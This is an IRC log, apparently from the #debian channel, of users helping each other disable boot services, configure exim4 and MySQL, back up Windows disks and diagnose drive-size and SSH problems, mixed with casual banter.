| 05:23.11 | jm_ | Vyrus001: don't start it at boot |
| 05:23.12 | highvoltage | terr_: there's no such thing as a perfect woman. |
| 05:23.17 | peterS | terr_: yeah, but as usual, batteries not included |
| 05:23.27 | Vyrus001 | jm how, edit rc.somthing ? |
| 05:23.42 | terr_ | highvoltage: ya - no matter how gorgeous she is - someone hates her. |
| 05:23.43 | maher | terr_: not sure the original adam and the antz were noted for that.. |
| 05:23.59 | maher | Vyrus001: use update-rc.d |
| 05:24.05 | terr_ | maher: haha!!! |
| 05:24.17 | maher | Vyrus001: also - how is cron going to send you mail? |
| 05:24.25 | jm_ | Vyrus001: man update-rc.d or use syv-rc-conf |
| 05:24.26 | click_ | Hi guys... Has any of you installed the frontpage-extension for apache-1.3 from sarge? (fresh install not working ( well - typical Microsoft :/ ) |
| 05:24.41 | Vyrus001 | well the point is i dont want smtp running on port 25 |
| 05:24.48 | terr_ | highvoltage: the "perfectwoman" is the one who sleeps in your bed! Remember that. |
| 05:24.51 | Vyrus001 | or pop3 |
| 05:25.02 | Vyrus001 | or rpc |
| 05:25.06 | Vyrus001 | or auth |
| 05:25.11 | highvoltage | terr_: noted. |
| 05:25.12 | click_ | vyrus: rcconf |
| 05:25.21 | jm_ | auth and rpc are often started from inetd |
| 05:25.30 | click_ | vyrus: install, turn off all services you don't want public/started on boot |
| 05:25.32 | maher | Vyrus001: if you run eximconfig and select the local delivery only option it should only listen on localhost |
| 05:25.38 | jm_ | although portmap is standalone in Debian so disable it with the above commands as well |
| 05:26.02 | maher | or edit /etc/default/portmap and tell it to listen on localhost |
| 05:26.18 | Vyrus001 | maher dont have it\ |
| 05:26.29 | jm_ | yeah it makes sense to have exim runing anyway, just don't have it listen on outside interfaces |
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| 05:26.53 | Vyrus001 | so i need to configure exim and restart? |
| 05:27.02 | Vyrus001 | where is the conf ? |
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| 05:27.16 | click_ | type "eximconf<tab>" |
| 05:27.26 | click_ | then hit enter |
| 05:27.30 | maher | Vyrus001: maybe dpkg-reocnfigure exim4? |
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| 05:27.43 | Phated | Actually, dpkg-reconfigure exim4-config |
| 05:27.50 | Vyrus001 | click_ i do not have eximconf |
| 05:28.11 | Phated | Vyrus001: dpkg-reconfigure exim4-config |
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| 05:28.24 | jm_ | yeah Sarge installs exim4 by Default |
| 05:28.30 | jpablo | is sid stalled, or im having problems ? |
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| 05:28.46 | jm_ | jpablo: Debian hates you |
| 05:28.58 | maher | Vyrus001: dpkg-reconfigure exim4-config |
| 05:29.03 | jpablo | grrr, f***ing debian |
| 05:29.03 | click_ | vyrus: sarge? dpkg-reconfigure exim4-config |
| 05:29.05 | terr_ | highvoltage: a friend of mine has apparently decided to go for a divorse. |
| 05:29.11 | Vyrus001 | yea i got it |
| 05:29.13 | Vyrus001 | thanx guys |
| 05:29.20 | zu22 | jm_: thanks mate |
| 05:29.31 | jpablo | jm_: serusly, i haven't got any updates in debian/ppc for a couple of days, that's weird. |
| 05:29.50 | maher | jpablo: main servers being moved - are back up now |
| 05:29.56 | jm_ | jpablo: did you read the topic? |
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| 05:30.07 | jm_ | ahh it's no longer in the topic |
| 05:30.07 | peterS | jm_: the topic changed a few hours ago |
| 05:30.13 | jpablo | yes .. |
| 05:30.25 | jm_ | jpablo: two of the very important machines ewre moved to a new hosting facility lately |
| 05:30.39 | drusscol | I want to back up a winxp box to dvds through a linux box, either by copying an image of each partition and burning DVDs one at a time or by assembling the data into dvd-sized isos, to be burned. Does anyone have any suggestions? Is partimage and some sort of livecd the best bet to back up the winxp box? |
| 05:30.42 | jpablo | oh, i see. |
| 05:30.47 | jm_ | even I know that and I don't use sid ;) |
| 05:31.36 | jpablo | i have been disconnected somehow, still tried to update thought. |
| 05:31.42 | bob2 | drusscol: did that help? |
| 05:32.13 | ja0x | buenas |
| 05:32.16 | drusscol | bob2: not really. eth0 doesn't show any signs of ipv6, and dns is still sluggish |
| 05:32.21 | Vyrus001 | ok well one down... now how do i get rid of pop3 |
| 05:32.34 | terr_ | drusscol: if you boot into linux on that boxen then you can use dd and read the drives raw. This may not be what you want. |
| 05:32.38 | Moppet | spohr is still serving out the old A record for ftp-master, though |
| 05:32.39 | jm_ | uninstall whatever provides pop3 service |
| 05:32.58 | Vyrus001 | jm_ how do i find out what daemon it is ? |
| 05:33.08 | bob2 | drusscol: hm, weird |
| 05:33.23 | drusscol | bob2: actually, on closer inspection it's strange - dig google.com is fast, but host google.com takes forever |
| 05:33.28 | maher | Vyrus001: netstat -pant |
| 05:33.29 | jpablo | Vyrus001: netstat -lp|grep pop |
| 05:33.37 | bob2 | wow |
| 05:33.48 | bob2 | drusscol: how about "host -t A google.com"? |
| 05:34.00 | deadcat | i use have have ssh, smtp, http running, now i have 13 ports open. |
| 05:34.19 | drusscol | terr_: well, I guess I could use something like dd and netcat, but my understanding is partimage does all that stuff pretty well. I'd prefer something cross-platform so I wouldn't have to leave windows on the winxp box, but that may not exist. |
| 05:34.31 | jm_ | deadcat: inetd listens on some ports internally, so verify that too |
| 05:34.39 | drusscol | bob2: equally slow |
| 05:34.43 | terr_ | drusscol: if you do not read the drives in raw mode then you have to mount them. I really can't help anymore than this. |
| 05:35.02 | bob2 | that's very odd |
| 05:35.10 | jm_ | drusscol: backuppc can backup Windows machines via SMB, as can many other tools |
| 05:35.12 | deadcat | jm_: inetd is only running talk daemon (= |
| 05:35.12 | maher | drusscol: ntfstools does some cute stuff - dunno if its cross platform tho |
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| 05:35.37 | jm_ | deadcat: and not things like chargen, echo, discard, daytime, ... ? |
| 05:35.44 | drusscol | jm_: I'll look into that. |
| 05:35.54 | deadcat | jm_: nah. disabled those right after woody finish installing (= |
| 05:36.06 | terr_ | drusscol: there are some x-platform utilities. Doing an SMB mount and backing up from this is prefered I think |
| 05:36.16 | jm_ | deadcat: well netstat -nap is your friend too |
| 05:36.19 | deadcat | jm_: i disabled inetd for a while but i needed talk |
| 05:36.45 | jm_ | deadcat: people still use talk? |
| 05:36.57 | jm_ | I remember summon from back then ;) |
| 05:37.03 | drusscol | do you think a backup made from a samba mount can be restored and booted to windows? |
| 05:37.18 | deadcat | jm_: sure. when they ssh into my box. |
| 05:37.27 | jm_ | deadcat: ahh locally |
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| 05:37.46 | deadcat | jm_: yeep. not remotely ofcourse hehe. thats dangerous. |
| 05:37.55 | jm_ | drusscol: it probably depends on what needs restoring - i.e. bootrecord and such won't cut it |
| 05:38.22 | drusscol | jm_: well, boot sector can just be dd'd, first 512 bytes of the drive, no? |
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| 05:39.30 | jm_ | drusscol: that's MBR, you also need to backup the first sectors of the partition where file system data is (it's probably best to backup entire block there) |
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| 05:40.18 | deadcat | damn. xedit looks pretty cool. |
| 05:40.35 | drusscol | jm_: so if I keep the first 10 MB of a drive, say, in a file somewhere, there's no harm in dd'ing it back when I want to restore a backup, is there? |
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| 05:40.46 | Vyrus001 | maher jpablo thanx |
| 05:41.03 | drusscol | assuming there's one partition on it |
| 05:41.38 | jm_ | drusscol: I would say you'll trash your filesystem to hell if you needed to restore something and you'll do that - it all has to match |
| 05:42.06 | drusscol | jm_: I mean assuming I don't care what's on the disk, I want to restore it completely to its previous state |
| 05:42.19 | jm_ | drusscol: then you'll need to dd entire partition |
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| 05:43.17 | drusscol | jm_: can't I restore the first part of the drive, mkfs on the partition, and copy all the files back? |
| 05:43.24 | maher | drusscol: that won't work - you cant just paste the first 10mb back |
| 05:43.30 | dtorg21 | Hey i am having trouble installing my Java i have tryed so many things but nothing could someone please help me out, would be muchly appreciated......... |
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| 05:43.48 | jm_ | drusscol: no, I think ntfs has "superblocks" scattered over the drive so they won't match |
| 05:43.56 | jm_ | dtorg21: /msg dpkg java |
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| 05:44.02 | maher | drusscol: take the mbr and use ntfstools to make partition images |
| 05:44.13 | tkooda | anyone here use udhcp? |
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| 05:44.59 | frkat | if I am running my own mail server do I have to have reverse dns on my static ip's in order to send mail to others through my own server? |
| 05:45.01 | drusscol | maher: any idea if partition images made with ntfstools can be burned onto dvds and then mounted in some fashion? |
| 05:45.17 | drusscol | maher: assuming they're larger than a dvd |
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| 05:45.29 | idnar | frkat: there's no technical requirement, as such; but you'll unfortunately find far too many other mail servers out there that will reject your mail if you don't have matching reverse DNS |
| 05:45.32 | netdaemon862 | i have a simple question, has anyone had any major problems using debian sid? |
| 05:45.48 | frkat | matching? |
| 05:45.48 | maher | drusscol: well you can split and then cat them - read what ntfstools claim - i don't use them on a regular basis myself |
| 05:45.53 | pusling | netdaemon862: of course |
| 05:45.58 | frkat | the domain matching the IP? |
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| 05:45.59 | deadcat | netdaemon862: no |
| 05:46.04 | netdaemon862 | i'm considering dist upgrading from etch and i'm not sure if i should or not |
| 05:46.10 | maher | netdaemon862: don't |
| 05:46.11 | idnar | frkat: the reverse and forward records need to say the same thing |
| 05:46.16 | deadcat | netdaemon862: if you have to ask. DONT |
| 05:46.26 | idnar | frkat: ie. if your reverse dns points to foo.com, then foo.com must resolve to the same IP that we started with |
| 05:46.27 | maher | netdaemon862: in fact if you have to ask you should be running stable |
| 05:46.34 | deadcat | netdaemon862: you'll end up as miserable as me. |
| 05:46.42 | netdaemon862 | i have had no problems with etch :P |
| 05:46.46 | drusscol | also, I remember a program a while back that would take all the files on a drive, calculate how to optimally fit them onto dvds, and then create isos. Does anyone remember what that is? |
| 05:46.49 | maher | netdaemon862: a fate worse than death |
| 05:46.51 | deadcat | netdaemon862: then stick with it |
| 05:47.11 | pusling | netdaemon862: if you like spending hours helping apt and dpkg making things work - and sometimes even be satisfied with things not working, then you should upgrade... |
| 05:47.38 | netdaemon862 | why i am asking this, am i correct in assuming that ubuntu is based off sid? |
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| 05:47.52 | mdh | idnar: I think its an RFC2821 requirement |
| 05:47.52 | deadcat | netdaemon862: dont know |
| 05:48.22 | pusling | netdaemon862: ubuntu forked from sarge a year ago... |
| 05:48.32 | moi | hi, while tar'ing my hdd, it ignores the mysql socket. if i copy over my tar to another hdd there mysql can't start because of the missing socket. can i create that socket manually? |
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| 05:48.56 | netdaemon862 | well thanks for answering my question =) |
| 05:48.58 | peterS | moi: you should never have to create a socket file. mysql should do it when it binds it |
| 05:48.58 | netdaemon862 | i must be going |
| 05:49.00 | Zoredache | Mysql should recreated it as soon as it starts Moi |
| 05:49.08 | peterS | moi: that is, the mysql server should, when it starts up |
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| 05:51.14 | moi | huumm, ok i'll try again |
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| 05:53.01 | TwistedEmotions | deadcat: die. |
| 05:53.21 | deadcat | TwistedEmotions: how you know? i am listening to "die motherfucker die" from office space |
| 05:53.29 | TwistedEmotions | hahahaha |
| 05:53.31 | TwistedEmotions | pimp. |
| 05:53.55 | TwistedEmotions | Im listening to the Cinderella Soundtack... man it's a good cd. |
| 05:54.12 | terr_ | TwistedEmotions: for us older folks - can you use full sentances? |
| 05:54.17 | deadcat | i have 12 songs i listen to over and over for the pass month. |
| 05:54.55 | deadcat | terr_: hes 42 |
| 05:55.11 | TwistedEmotions | terr_: he lies Im 12 ;) |
| 05:55.20 | glasse | terr_: I think the complete sentance is "That is pimp" :) |
| 05:55.35 | deadcat | hahaha |
| 05:55.40 | pusling | hmm... ftpmaster is not in /topic anymore. is it back up ? |
| 05:55.48 | deadcat | pusling: ya. just checked. |
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| 05:55.51 | peterS | pusling: try it |
| 05:56.03 | deadcat | pusling: nothing new (important) |
| 05:57.33 | CaT[tm] | AHA! |
| 05:57.40 | CaT[tm] | goddamn typos. they -so- suck. |
| 05:58.03 | deadcat | CaT[tm]: thats more than typo. thats confusing. |
| 05:58.40 | TwistedEmotions | terr_: Im listening to the Cinderella Soundtack. <<-- Full sentence. |
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| 05:59.45 | tkooda | does anyone here use udhcpc? -I've made a patch to support search domains, but am not positive if it's nessicary. |
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| 06:00.38 | CaT[tm] | deadcat: been trying to configure exim4 for the first time and I've been beating my head against the wall trying to figure out why it wasn't working. it turns out I used MAIL_LOCAL_DOMAINS instead of MAIN_LOCAL_DOMAINS |
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| 06:03.05 | cafuego | CaT[tm]: it's postfix great? ;-) |
| 06:03.10 | greyson | Ugh... Does anyone have any recommendations on a rock solid DSL modem? Mine's geting flakey. |
| 06:03.12 | cafuego | s/it's/isn't/ |
| 06:03.16 | posmerite | deadcat are all 12 songs on the same cd ??? |
| 06:03.23 | cafuego | greyson: 1, 2 or 2+ ? |
| 06:03.43 | greyson | Probably 2+ -- using Speakeasy +VoIP |
| 06:04.11 | cafuego | greyson: built-in wifi? |
| 06:04.24 | greyson | No, no router, just the modem. |
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| 06:05.04 | greyson | cafuego: Already have a sparcStation (running Debian/SPARC) as my router :) |
| 06:05.33 | cafuego | greyson: I think in australia bilion seems to be polular. |
| 06:05.38 | cafuego | popular too |
| 06:05.38 | posmerite | greyson pick that up at a yard sale ? |
| 06:05.39 | CaT[tm] | cafu: no idea yet. that's next on my list of mta's to test. so far exim is proving itself to be very useful. |
| 06:06.05 | greyson | posmerite: Close, government auction... got three for 50$ |
| 06:06.14 | cafuego | CaT[tm]: Check out http://workaround.org/articles/ispmail-sarge/ when you start on postfix |
| 06:06.37 | posmerite | greyson auction government yard sale wtdiff |
| 06:07.08 | posmerite | think of it as a refund of your tax dollars |
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| 06:07.28 | CaT[tm] | cafuego: can I have any number of email addresses on the destination side of a virtual email address? |
| 06:07.50 | greyson | posmerite: Well, I do know that once Slowaris was taken off, they've been quite nice for a few mission-critical apps I have. |
| 06:07.51 | cafuego | CaT[tm]: sure |
| 06:07.56 | greyson | :) |
| 06:07.57 | cafuego | CaT[tm]: that's just an alias. |
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| 06:08.42 | cafuego | CaT[tm]: alias@domain.com -> user1+user2+user3@domain.com,user1@otherdomain.com etc |
| 06:08.55 | CaT[tm] | cafuego: that's what I was hoping. how's the debugging side of things? anything akin to sendmail's sendmail -bt (and bv from memory) or exims -bt and -d? |
| 06:09.11 | posmerite | greyson i have a guy up here who has 4 10x20 lockers filled with cases some whole some in pieces found a pentium 4 2.3 last week |
| 06:09.46 | cafuego | CaT[tm]: I had mine set up before that tutorial was written, but after doing another box via that tutorial, I'd say you won't need to debug <heh> |
| 06:10.22 | cafuego | CaT[tm]: My own system is twhat the url described, with chrooted ftp dirs, web hosting and user-based domain admin thrown in. |
| 06:10.23 | CaT[tm] | cafuego: there's always a need to debug. :) |
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| 06:10.39 | greyson | posmerite: you should be pondering who's already done that. |
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| 06:10.51 | posmerite | heh |
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| 06:11.01 | CaT[tm] | cafuego: *nod* I'll be doing something a bit more complex :) |
| 06:11.08 | cafuego | Is an amiga500 a m68k chip? |
| 06:11.14 | CaT[tm] | no mmu |
| 06:11.15 | gadis | hai |
| 06:11.17 | posmerite | 68010 |
| 06:11.22 | CaT[tm] | 68000 |
| 06:11.25 | cafuego | Aiyee |
| 06:11.28 | CaT[tm] | though you can use a '10 in it |
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| 06:11.33 | gadis | hai.. |
| 06:11.34 | Coke | mmm, Amiga 500, gggaarrghgghll... |
| 06:11.34 | cafuego | Throw that damned thing in the trash |
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| 06:12.00 | peterS | if it's got no MMU, we don't want it |
| 06:12.06 | posmerite | hey the tv display looks better then any video cards composite out i have seen yet |
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| 06:12.32 | greyson | posmerite: Hell yeah! |
| 06:12.43 | Coke | peterS: it didn't need one. my Amiga 500 could still do nicer graphics than my 486 DX2 PC with 7 times the CPU power and 8 times the memory. |
| 06:12.44 | posmerite | ohh and there was an mmu card made for it |
| 06:13.10 | gadis | hai |
| 06:13.43 | peterS | gadis: enough |
| 06:13.44 | bob2 | mmu cards are bizarre |
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| 06:14.02 | deadcat | nice work bob2 (= |
| 06:14.12 | CaT[tm] | time to play with postfix. |
| 06:14.19 | posmerite | i still have some off those weitek mmus i pulled out of an old sgi machine allong with a power supply that has 400 amps at 5 volts |
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| 06:14.53 | peterS | gadis: didn't help, you still can't talk |
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| 06:15.13 | S|AY3R | excuse my n00bness....how do i mount a hdd ? |
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| 06:15.23 | posmerite | with screws |
| 06:15.33 | S|AY3R | funny guy |
| 06:15.35 | peterS | gadis_: dude. give up already. |
| 06:15.48 | Coke | S|AY3R: with the mount command. read all about it using "man mount" |
| 06:15.58 | S|AY3R | thanky |
| 06:16.41 | posmerite | that was one of those things i always hated mounting cdroms before you use them |
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| 06:17.05 | Coke | posmerite: "mount /cdrom" is tough? |
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| 06:17.11 | deadcat | i think gadis is trying to prove something |
| 06:17.12 | jm_ | that's why there's autofs |
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| 06:17.29 | posmerite | coke maybe you werent running debian in 96 |
| 06:17.35 | greyson | okay all, I'm off. Cheers! |
| 06:17.37 | Coke | no I wasn't. |
| 06:17.58 | Coke | I was running NT at the time. |
| 06:18.04 | jm_ | haha |
| 06:18.12 | posmerite | you mean not there |
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| 06:18.50 | peterS | No Technology |
| 06:18.59 | posmerite | good one |
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| 06:19.29 | posmerite | or Now i have to call Tech support again |
| 06:19.30 | Coke | well. NT 4 was at least stable just before they decided to give it the facelift to W2K |
| 06:20.01 | cafuego | Coke: Yes, except not. |
| 06:20.08 | cafuego | Coke: NT 3.5 was. |
| 06:20.16 | peterS | Coke: you don't remember NT4 before SP4, do you? |
| 06:20.22 | posmerite | still there was quite a problem getting drivers for half the devices to work properly |
| 06:20.30 | Coke | yes, but lacked proper scheduling and security. |
| 06:20.52 | posmerite | go fish |
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| 06:21.07 | Coke | cafuego: now, looksie here. NT was never meant to be a gaming platform. |
| 06:21.18 | cafuego | Coke: Who said anything about gaming? |
| 06:21.27 | posmerite | a sound card and he says gaming lol |
| 06:21.48 | Coke | I guess that Microsoft realized that they would never be able to build something that could utilize hardware AND be stable AND secure so they started focusing on the group that cares the least about stability and security; kids and old people. |
| 06:21.50 | cafuego | Coke: ... not that NT ran TTD, but hey... |
| 06:22.33 | posmerite | coke stop scanning |
| 06:22.57 | Coke | posmerite: I'm not scanning, I'm doing the oposite, whatever it is. |
| 06:23.14 | cafuego | printing |
| 06:23.17 | Coke | yeah. |
| 06:23.17 | posmerite | (hm) |
| 06:23.18 | peterS | being scanned? |
| 06:23.34 | Coke | cafuego: how could I not see that one? :) |
| 06:23.39 | cafuego | Speaking of, /me did some great catscans the other day. |
| 06:23.49 | posmerite | doesnt anybody remeber the movie with the steel orbs |
| 06:24.28 | posmerite | called scanners |
| 06:25.15 | cafuego | posmerite: Just coz I'm old doesn't mean I've seen every bad movie ever made. |
| 06:25.34 | posmerite | who said you were old i was just testing |
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| 06:26.00 | cafuego | I note they're remaking it |
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| 06:26.11 | dabaR | haha, I remember scanners |
| 06:26.17 | posmerite | they're remaking everything |
| 06:26.37 | dabaR | but the one where scaners make people's heads explode |
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| 06:27.09 | posmerite | their is actually 4 parts to the movie |
| 06:27.19 | dabaR | ya |
| 06:27.37 | Coke | cafuego: you're old? |
| 06:27.57 | posmerite | coke take another sip ? |
| 06:28.04 | dabaR | hah |
| 06:28.19 | linnuxxy | is there any plans to build Debian system around the opensolaris kernal? |
| 06:28.33 | deadcat | linnuxxy: nope |
| 06:28.45 | cafuego | linnuxxy: There's Debian/BSD, Debian/HURD and Debian/GNU Linux. I doubt it. |
| 06:29.11 | deadcat | and theres only like ~15 users (hurd/bsd) combined |
| 06:29.16 | Coke | hehehe. |
| 06:29.25 | posmerite | wait a second there's a ver around the bsd kernel |
| 06:29.29 | deadcat | 14 are bsd heh |
| 06:29.30 | cafuego | deadcat: That's all the system can handle without crashing (combined) |
| 06:29.43 | Coke | posmerite: yeah, I just got my coffee here, don't know what sip'in you're talking about, though. |
| 06:29.44 | deadcat | hahahaah. |
| 06:29.44 | dabaR | I wanna use that hurd thing one day, maybe. |
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| 06:30.30 | posmerite | coke siping of course you know with a straw and a mirr or i mean glass |
| 06:30.46 | cafuego | dabaR: I'm not sure if it was designed to be used |
| 06:30.53 | dabaR | ah, really? weird. |
| 06:31.03 | posmerite | like windows |
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| 06:31.17 | cafuego | or perhaps I'm being too sarcastic |
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| 06:32.12 | maher | linnuxxy: the opensolaris kernel could not go in main but there's nothing to stop you porting debian to opensolaris if you want to |
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| 06:32.22 | Coke | It's pretty ironic that both the hurd and microsoft people used the same argument as to way GNU Linux was/is a bad idea. You don't know how many times I've heard "but it doesn't work to run an advanced OS using a monolitithic kernel design, just look at these essays and papers written about it" and yet... it works so good that pretty much all non-free POSIX-systems have been replaced by it. |
| 06:32.31 | Coke | s/way/why |
| 06:32.41 | dabaR | Prolly, I mean, their site seems to think people shoudl use it. Dunno, I like the whole gnu thing, I mean, linux is cool too:) works...actually, dont see a reason now that I think of it to use something other than linux, its open source... |
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| 06:33.22 | maher | Coke: is that because of design, or development methodology, or license? |
| 06:33.23 | Coke | oh! oh! oh! what's inferno, uncle cafuego? |
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| 06:33.27 | pepsi | hi coke |
| 06:33.33 | cafuego | Coke: A distributed OS. |
| 06:33.38 | Coke | maher: all three, actualy. |
| 06:33.39 | deadcat | oh no.. |
| 06:33.44 | deadcat | !start a soda war |
| 06:33.57 | pepsi | no thanks |
| 06:33.59 | maher | cafuego: you could start by porting debian to plan9 |
| 06:34.04 | dabaR | LOL! |
| 06:34.13 | dabaR | deadcat: stop it... |
| 06:34.19 | dabaR | anyhow. |
| 06:34.20 | deadcat | dabaR: you stop. i watch |
| 06:34.25 | cafuego | maher: Why, when plan9 has been ported to debian? (rc, 9wm) |
| 06:34.36 | dabaR | heh...man, that was funny. |
| 06:34.38 | Coke | pepsi: we may differ on the outside and even come from different parts of the US, but inside we are all 99% sugar! |
| 06:34.42 | posmerite | heh |
| 06:34.55 | maher | cafuego: that's the wm |
| 06:35.06 | cafuego | maher: and the shell |
| 06:35.25 | cafuego | maher: ... the only bits you'd interface with... without losing your sanity completely. |
| 06:35.31 | Coke | maher: but haven't you heard it a lot that monolithic designs are arcane and simply do not work in "real life" i.e in some guys head. :) |
| 06:35.32 | pepsi | i like mountain dew anyhow |
| 06:35.53 | maher | cafuego: what about the keep everything fs and the other parts of the os |
| 06:35.59 | peterS | pepsi: it's ok, mtn dew is a pepsi product |
| 06:36.07 | pepsi | indeed |
| 06:36.10 | maher | Coke: haven't you heard that bumblebees can't fly? |
| 06:36.21 | deadcat | heres an idea, ban pepsi Coke and sierramist |
| 06:36.21 | sierramist | they cant |
| 06:36.26 | Coke | maher: yeah, it's a VERY good analogy. thank's for that one, I'll make sure to remember it. |
| 06:36.26 | dabaR | haha. maybe there will be a soda war after all... |
| 06:36.36 | dabaR | and mme, I guess. |
| 06:36.49 | sierramist | so which soda wouldnt you ban |
| 06:36.50 | Coke | maher: but I also think that 90% of all *BSD users use BSD because they disagree with the GNU GPL. |
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| 06:37.09 | Coke | or at least that is what the BSD-people I work with complain about the most. |
| 06:37.14 | maher | Coke: they should stop using gcc then |
| 06:37.21 | vd | hi i dont know anything abt u |
| 06:37.21 | Coke | oh! another good one. |
| 06:37.29 | vd | wat ur talking abt |
| 06:37.40 | Mestapheles | hi guys, does d-i use parted as a backend? |
| 06:37.45 | Coke | maher: you're like a box full of fortune cookies with anti-FUD statements. |
| 06:37.51 | cafuego | maher: The useless bits? We can do without those! |
| 06:37.58 | deadcat | !u |
| 06:37.59 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 06:38.12 | maher | cafuego: i never said plan9 was useful... |
| 06:38.16 | dabaR | vd: awesome, thanks for letting us know. |
| 06:38.26 | peterS | Mestapheles: yes |
| 06:38.29 | Glenda | maher: ima get you! |
| 06:38.43 | sierramist | welcome to late nite #debina |
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| 06:38.45 | peterS | Mestapheles: or rather, libparted |
| 06:39.02 | Coke | vd's keyboard must be broken. |
| 06:39.32 | deadcat | Coke: no. thats a AOL user |
| 06:39.37 | Mestapheles | just asking 'cause parted how shrinks hfs+, and many have reported success with parted, but I ownder if d-i will do as well. |
| 06:39.47 | vd | really? |
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| 06:40.07 | sierramist | please why did you have to mention aohell |
| 06:40.08 | vd | you are welcome |
| 06:40.10 | peterS | Mestapheles: I suppose it would, then. I haven't got any HFS+ partitions |
| 06:40.17 | Coke | deadcat: good one. :) |
| 06:40.32 | Glenda | Mestapheles: I wouldn't risk it if I were you. |
| 06:40.33 | Mestapheles | Running on a pc? |
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| 06:40.40 | vd | anyone wanna tlking with me |
| 06:40.43 | deadcat | Coke: which one? |
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| 06:40.50 | Coke | deadcat: the AOL user |
| 06:40.52 | Mestapheles | I have my recent backups |
| 06:40.54 | deadcat | ah |
| 06:40.57 | Coke | deadcat: but I like your other material too |
| 06:41.08 | vd | just chat abt something not important |
| 06:41.10 | deadcat | Coke: i got some nice stuff. but most are just stupid (= |
| 06:41.15 | Mestapheles | backups from a few hours ago. |
| 06:41.17 | billions | is anyone here good at configuring Eterm graphical settings? |
| 06:41.28 | Mestapheles | I think I'll try and write about it in a wiki. |
| 06:41.33 | Glenda | peterS: yes, yes, yes |
| 06:41.44 | Greg_CDMA | hi Im trying to add a couple of 20GB drives to my machine but I am having troubles with the system detecting them as 131GB, and Im getting superblock errors, anyone know a good howto or can explain a work around? |
| 06:41.53 | vd | hi,someone please talking with me |
| 06:41.54 | Greg_CDMA | its vanilla sarge btw |
| 06:42.02 | vd | may i join this forum? |
| 06:42.05 | vd | ok |
| 06:42.31 | pepsi | vd, dont ask to ask, first ask to ask to ask, or else |
| 06:42.40 | deadcat | pepsi: dude. just ignore that moron. |
| 06:42.44 | pepsi | :) |
| 06:42.59 | Greg_CDMA | eek make that 200GB |
| 06:43.08 | Glenda | Greg_CDMA: I was guuna say, no wonder. |
| 06:43.08 | vd | ok |
| 06:43.19 | vd | wat u mean? |
| 06:43.29 | sierramist | ask first |
| 06:43.32 | Coke | pepsi: I think #debian should enforce a one question per hour rule. That way all the morons would ask if they may ask or if somebody or anyone and then have to wait one full hour. :) |
| 06:43.34 | peterS | Greg_CDMA: that makes a bit more sense |
| 06:44.04 | Glenda | Greg_CDMA: Can you tell your BIOS about the Cyl/heads/Sect geometry? |
| 06:44.17 | sierramist | then it would be #microsoft pepsi, coke |
| 06:44.20 | pepsi | see if a new bios revision is available |
| 06:44.29 | Glenda | Greg_CDMA: Also, are they on an ATA133 controller? 80line cable? |
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| 06:44.59 | Glenda | dpkg: 2*32 |
| 06:44.59 | dpkg | 64 |
| 06:45.02 | Glenda | dpkg: 2**32 |
| 06:45.02 | dpkg | 4294967296 |
| 06:45.09 | Glenda | dpkg: 2**48 |
| 06:45.09 | dpkg | 281474976710656 |
| 06:45.10 | Greg_CDMA | peterS but is it easily fixable? |
| 06:45.10 | pepsi | Glenda, does ATA133 fix the problem, do you know? |
| 06:45.26 | Glenda | pepsi: More likely to be a newer controller |
| 06:45.50 | pepsi | i see.. cause ive seen people ask that before, if it was ATA133 |
| 06:45.53 | peterS | Greg_CDMA: listen to Glenda, he's trying to work through the issues |
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| 06:46.01 | pepsi | i just got a 200G a few days ago |
| 06:46.15 | pepsi | pleasently suprised to have no problems at all |
| 06:46.21 | jm_ | Greg_CDMA: make sure you have a kernel > 2.4.19 |
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| 06:46.34 | Glenda | pepsi: The thing is, > 131 GB needs LBA48, which ATA66 can't do (at all) and ATA100 does sparingly (I think) though there are bios updates. |
| 06:46.39 | Greg_CDMA | 2.8.8-2 |
| 06:46.41 | peterS | pepsi: the old ATA standard, which used 28-bit addressing, had a limit of 128 GB. the latest ATA standard lets you use 48-bit addressing |
| 06:46.49 | jm_ | 2.8? you live in the future? |
| 06:47.01 | Glenda | jm_: I do! |
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| 06:47.21 | Greg_CDMA | fek 2.6.8-2 ... back to reality |
| 06:47.32 | vyrus001 | how do i fix this ? |
| 06:47.32 | vyrus001 | <Charbal> owh: copy is atomic. |
| 06:47.34 | Glenda | Greg_CDMA: What controller are they plugged into? |
| 06:47.41 | vyrus001 | oope |
| 06:47.46 | Greg_CDMA | ide |
| 06:47.46 | vyrus001 | i mean this Could not connect: Host 'localhost.localdomain' is not allowed to connect to this MySQL server |
| 06:47.50 | jm_ | ok so that part should be OK then |
| 06:48.02 | Glenda | vyrus001: connect via the socket. |
| 06:48.08 | sierramist | see yall later |
| 06:48.10 | Glenda | vyrus001: mysql -u root -p |
| 06:48.14 | maher | vyrus001: did you read the stuff in /usr/share/doc/mysql |
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| 06:48.32 | vyrus001 | maher lol no |
| 06:48.36 | Coke | vyrus001: there's a special Debian readme there. |
| 06:48.37 | Glenda | Greg_CDMA: I understand that. I need model. 'lspci' will tell you. |
| 06:48.52 | Coke | vyrus001: it will tell you how to connect the first time and add users. |
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| 06:49.17 | litage | i have "id:2:initdefault:" in /etc/inittab, but xdm starts when i boot up. how can i prevent this? |
| 06:49.25 | Coke | vyrus001: also, because the MySQL people have finally figured out that their authentication system sucks ass, so they have a special section for it in the manual. |
| 06:50.15 | Coke | vyrus001: and my final advice before getting more coffee is that you upgrade from MySQL to PostgreSQL before getting stuck with it. |
| 06:50.34 | vyrus001 | Coke this is a small project... just a one week server |
| 06:50.39 | PerfDave | I'm trying to connect to an SSH server through a port forward on a firewall, but I'm getting "Connection refused". Is this likely to be a problem with the SSH server or the firewall, or is it impossible to say? It was working yesterday, am trying to remote diagnose. |
| 06:50.42 | vyrus001 | so im not so worried about upgrades |
| 06:50.44 | peterS | litage: uninstall xdm |
| 06:50.56 | peterS | litage: if you don't want it to start at startup time, what is the point in having it at all? |
| 06:51.08 | Coke | vyrus001: PostgreSQL is just as easy to install (apt-get install), easier to configure and you can make it use already existing authentication systems. |
| 06:51.10 | vyrus001 | Coke also... the error sais that the host is denied not the password.. is this still a login issue ? |
| 06:51.19 | peterS | litage: but if you want it to exist but not start up, you *can* use 'update-rc.d' to change it |
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| 06:51.33 | maher | PerfDave: use ssh -v and see if you hit the server |
| 06:51.42 | Coke | vyrus001: yes. like I said, the MySQL manual has a lot of examples and the section on the user authentication is HUGE. |
| 06:51.55 | vyrus001 | ok |
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| 06:52.53 | PerfDave | maher: I just get "Connection refused" after the "connecting" debug line. Could mean that the SSH server isn't running for whatever reason? |
